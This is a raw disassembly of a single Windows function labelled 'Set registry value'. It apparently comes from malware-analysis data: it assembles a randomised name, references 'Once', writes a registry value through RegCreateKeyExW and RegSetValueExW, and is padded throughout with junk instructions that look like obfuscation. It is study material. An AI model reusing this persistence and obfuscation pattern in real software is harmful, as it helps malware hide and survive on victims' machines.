Function at 0x40abf0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41a1f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4e4
push esi
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x50], 1
mov dword [ebp - 0x6c], 0x208
push 0x208
push 0
lea eax, [ebp - 0x4f0]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push eax
mov eax, 0x4255cee
sbb eax, eax
mov eax, 0x4b185f67
pop eax
push 0x41b564
lea ecx, [ebp - 0x4f0]
push ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy]
add esp, 8
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x4f0]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
cmp dword [ebp + 0x14], 0
jne 0x40ad54
push 0x41b568
lea ecx, [ebp - 0x4f0]
push ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
push esi
mov esi, 0x3d5a19a5
add esi, esp
mov esi, 0x57f175de
pop esi
lea ecx, [ebp - 0x98]
call fcn.0040ef70
mov dword [ebp - 4], 0
push 0xe
lea ecx, [ebp - 0x98]
call fcn.004174e0
push esi
mov esi, 0x1a8d1b6c
and esi, ecx
mov esi, 0xc8a5be8
pop esi
mov dword [ebp - 0x48], 0
jmp 0x40ace4
mov edx, dword [ebp - 0x48]
add edx, 1
mov dword [ebp - 0x48], edx
lea ecx, [ebp - 0x98]
call fcn.00417e70
cmp dword [ebp - 0x48], eax
jae 0x40ad24
push 0x7a
push 0x61
call fcn.00409680
add esp, 8
mov esi, eax
mov eax, dword [ebp - 0x48]
push eax
lea ecx, [ebp - 0x98]
call fcn.0040fde0
mov word [eax], si
push ebp
mov ebp, 0x4274e4e
and ebp, esp
and ebp, esp
sub ebp, esi
nop
pop ebp
jmp 0x40acdb
lea ecx, [ebp - 0x98]
call fcn.00413fd0
push eax
lea ecx, [ebp - 0x4f0]
push ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x98]
call fcn.0040f670
jmp 0x40adb4
push 0x41b570
lea edx, [ebp - 0x4f0]
push edx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
mov ecx, 0x4203e4
call fcn.00413fd0
push eax
lea eax, [ebp - 0x4f0]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
push 0x41b578
lea ecx, [ebp - 0x4f0]
push ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
mov ecx, 0x420408
call fcn.00413fd0
push eax
lea edx, [ebp - 0x4f0]
push edx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
push esi
and esi, eax
sbb esi, ecx
mov esi, 0x4d7b43bf
or esi, edi
nop
pop esi
cmp dword [ebp + 0x10], 0
je 0x40addc
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x4f0]
push ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
push ebx
sbb ebx, edx
add ebx, eax
mov ebx, 0x393505a2
xor ebx, ecx
nop
pop ebx
lea ecx, [ebp - 0xb0]
call fcn.0040ed50
mov dword [ebp - 4], 1
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x70], esp
push 0x42045c
call fcn.0040eb10
mov dword [ebp - 0x74], eax
push 0x420420
lea edx, [ebp - 0x40]
push edx
call fcn.004075f0
add esp, 0x20
mov dword [ebp - 0x78], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x28]
call fcn.0040ed50
mov byte [ebp - 4], 3
mov dword [ebp - 0x10], 0
jmp 0x40ae47
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x40]
call fcn.00417e50
cmp dword [ebp - 0x10], eax
jae 0x40b5fb
cmp dword [ebp - 0x10], 2
jne 0x40ae7d
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 4
jne 0x40aea2
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 6
jne 0x40aec7
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 9
jne 0x40aeec
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0xc
jne 0x40af11
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0xe
jne 0x40af36
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x12
jne 0x40af5b
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x16
jne 0x40af80
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x17
jne 0x40afa5
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x1b
jne 0x40afca
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x1d
jne 0x40afef
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x20
jne 0x40b014
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x21
jne 0x40b039
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x23
jne 0x40b05e
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x26
jne 0x40b083
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x28
jne 0x40b0b6
push ebp
xor ebp, ecx
mov ebp, 0x5b990fa9
add ebp, esp
add ebp, edx
nop
pop ebp
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x29
jne 0x40b0e9
push ebp
mov ebp, 0x74d54495
sbb ebp, edx
or ebp, ecx
sbb ebp, esp
nop
pop ebp
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x2a
jne 0x40b11c
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push ebx
mov ebx, 0x6ba84e34
and ebx, ecx
and ebx, edi
and ebx, edx
nop
pop ebx
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x2f
jne 0x40b14f
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push ebp
or ebp, ebp
mov ebp, 0x56347789
add ebp, edi
xor ebp, eax
nop
pop ebp
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x30
jne 0x40b182
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push edx
sub edx, ebx
mov edx, 0x4236018e
sub edx, esi
add edx, edi
nop
pop edx
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x31
jne 0x40b1b5
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push ecx
and ecx, ecx
sbb ecx, ebx
mov ecx, 0x1d9d1c26
sub ecx, edi
nop
pop ecx
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x32
jne 0x40b1e8
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push eax
mov eax, 0x117a1bc6
sbb eax, esi
sbb eax, edi
sbb eax, ebp
nop
pop eax
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x33
jne 0x40b21b
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push esi
mov esi, 0x579218eb
mov esi, 0x63ca671f
or esi, ebx
pop esi
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x35
jne 0x40b24e
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push ebp
sub ebp, eax
mov ebp, 0x6131122a
sbb ebp, eax
or ebp, esp
nop
pop ebp
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x39
jne 0x40b281
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push eax
mov eax, 0x66ee0c86
mov eax, 0x66f87432
sbb eax, ebp
pop eax
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x3b
jne 0x40b2b4
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push ecx
mov ecx, 0x69e64d9b
xor ecx, eax
xor ecx, ebx
or ecx, esp
nop
pop ecx
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x41
jne 0x40b2e7
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push edx
mov edx, 0xc7b2ad5
mov edx, 0xd8558d7
or edx, ebx
pop edx
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x46
jne 0x40b30c
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x48
jne 0x40b331
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x4a
jne 0x40b364
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push esi
mov esi, 0x2daf16ca
mov esi, 0x2e4e4503
add esi, ebp
pop esi
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x4b
jne 0x40b389
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x4e
jne 0x40b3bc
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push edi
or edi, ebx
mov edi, 0x56136eb1
mov edi, 0x1a855680
pop edi
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x52
jne 0x40b3ef
push ebx
or ebx, esp
and ebx, ebx
mov ebx, 0x59060d6e
sbb ebx, esp
nop
pop ebx
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x54
jne 0x40b414
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x56
jne 0x40b447
push eax
mov eax, 0x21cb6105
and eax, esi
mov eax, 0x6e2265aa
pop eax
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x58
jne 0x40b46c
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x5a
jne 0x40b491
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x5b
jne 0x40b4d2
push edi
mov edi, 0x386e1e9b
sbb edi, esi
mov edi, 0x62b1e47
pop edi
push ebx
mov ebx, 0x37505678
and ebx, esp
mov ebx, 0x3f671333
pop ebx
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x5f
jne 0x40b4f7
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x63
jne 0x40b52a
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push ecx
mov ecx, 0x11f0bfb
add ecx, esp
add ecx, eax
sbb ecx, eax
nop
pop ecx
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x64
jne 0x40b54f
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x66
jne 0x40b574
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x6a
jne 0x40b596
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x6e
jne 0x40b5b8
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x6f
jne 0x40b5e8
push ecx
xor ecx, edi
sub ecx, ebx
mov ecx, 0x63a70c87
sbb ecx, ecx
nop
pop ecx
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
push ecx
or ecx, eax
mov ecx, 0x48c53b38
or ecx, esp
sbb ecx, edx
nop
pop ecx
jmp 0x40ae3e
cmp dword [ebp + 0x14], 0
jne 0x40b620
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0xb0]
call fcn.0040fb80
push ebx
mov ebx, 0x587d4430
mov ebx, 0x7d01335d
sbb ebx, ecx
pop ebx
jmp 0x40b663
push str.Once
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0xe0]
push eax
call fcn.0040bf70
add esp, 0xc
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x60]
push ecx
lea ecx, [ebp - 0xb0]
call fcn.0040fa90
lea ecx, [ebp - 0xe0]
call fcn.0040f630
push ebp
mov ebp, 0x505e464d
mov ebp, 0x53483862
sub ebp, ebx
pop ebp
lea ecx, [ebp - 0x51]
call fcn.0040e460
push eax
lea edx, [ebp - 0x7c]
push edx
lea ecx, [ebp - 0xb0]
call fcn.004145a0
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x80]
push ecx
lea ecx, [ebp - 0xb0]
call fcn.00413eb0
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0xc8]
call fcn.0040bbd0
push ebp
mov ebp, 0x656416f4
mov ebp, 0x4bfd2246
sbb ebp, esp
pop ebp
push 0
lea eax, [ebp - 0x44]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
lea ecx, [ebp - 0xc8]
call fcn.00413fd0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jne 0x40b6e5
mov dword [ebp - 0x58], 1
jmp 0x40b6ec
mov dword [ebp - 0x58], 0
mov ecx, dword [ebp - 0x58]
mov dword [ebp - 0x50], ecx
push ecx
mov ecx, 0x278a010a
mov ecx, 0x144141ba
xor ecx, esp
pop ecx
cmp dword [ebp - 0x50], 0
je 0x40b759
lea edx, [ebp - 0x4f0]
push edx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
add esp, 4
lea eax, [eax + eax + 2]
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x64]
push ecx
lea edx, [ebp - 0x4f0]
push edx
push 1
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x44]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jne 0x40b74c
mov dword [ebp - 0x5c], 1
jmp 0x40b753
mov dword [ebp - 0x5c], 0
mov edx, dword [ebp - 0x5c]
mov dword [ebp - 0x50], edx
push ebx
add ebx, ebp
mov ebx, 0x1bed3680
mov ebx, 0x19d27f59
pop ebx
cmp dword [ebp - 0x44], 0
je 0x40b77e
mov eax, dword [ebp - 0x44]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x44], 0
push esi
mov esi, 0x7dc62e90
add esi, eax
and esi, eax
sub esi, ecx
nop
pop esi
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x68], ecx
lea ecx, [ebp - 0xc8]
call fcn.0040f670
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x28]
call fcn.0040f630
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x40]
call fcn.0040f630
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb0]
call fcn.0040f630
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret